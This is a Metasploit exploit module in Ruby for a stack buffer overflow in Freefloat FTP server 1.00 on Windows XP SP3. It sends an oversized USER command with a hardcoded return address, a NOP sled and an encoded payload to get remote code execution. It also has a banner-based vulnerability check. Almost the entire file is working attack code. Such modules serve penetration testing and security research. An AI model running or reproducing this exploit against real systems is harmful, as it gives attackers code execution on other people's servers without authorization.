##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Freefloat FTP <= 1.00 Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a vulnerability in Freefloat FTP service version 1.00.
				This module uses the USER command to trigger the overflow.
			},
			'Author'         =>
					[
						'0v3r', 		# original version
						'Muhamad Fadzil Ramli'	# metasploit module
					],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'EDB', '15689' ],
					[ 'URL', 'http://www.freefloat.com/software/freefloatftpserver.zip' ]
				],
			'DefaultOptions' =>
                		{
                    			'EXITFUNC' => 'process',
					'RPORT'	   => 21
                		},
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 512,
					'BadChars' => "x00x0ax0dxffx20",
					'StackAdjustment' => -3500,
					'DisableNops' => true
				},
			'Platform'       => 'win',
			'Targets'        =>
                                [
					[ 'Windows XP SP3 (EN)', { 'Ret' => 0x5AD86AEB } ], # push esp, ret [uxtheme.dll]
				],
			'DisclosureDate' => 'December 5 2010',
			'DefaultTarget'  => 0))
		deregister_options('FTPUSER','FTPPASS')
	end

	def check
		connect
		disconnect
		if (banner =~ /FreeFloat Ftp Server (Version 1.00)/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit

		connect
		print_status("Trying target #{target.name}...")

		buf	=  rand_text_alpha(230)
		buf	<< [target.ret].pack('V')
		buf	<< make_nops(16)
		buf	<< payload.encoded
		#buf	<< rand_text_alpha(1000 - buf.length)

		#send_cmd( ['USER',buf],false )
		send_user(buf)

		handler
		disconnect
	end
end